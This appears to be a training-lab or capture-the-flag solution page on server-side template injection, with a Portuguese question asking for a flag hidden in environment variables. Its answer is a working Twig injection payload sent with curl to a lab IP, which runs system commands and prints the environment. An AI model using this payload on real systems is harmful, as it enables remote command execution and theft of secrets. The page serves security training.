search
LinkedinTryHackme

Question-1

Use o que você aprendeu nesta seção para obter o sinalizador que está oculto nas variáveis ​​de ambiente. Formato de resposta: HTB{String}

Payload : 

curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;printenv")}}' http://94.237.57.222:55319/ | grep "HTB{"

PreviousSSTI Exploitation Example 1NextSSTI Exploitation Example 2

Last updated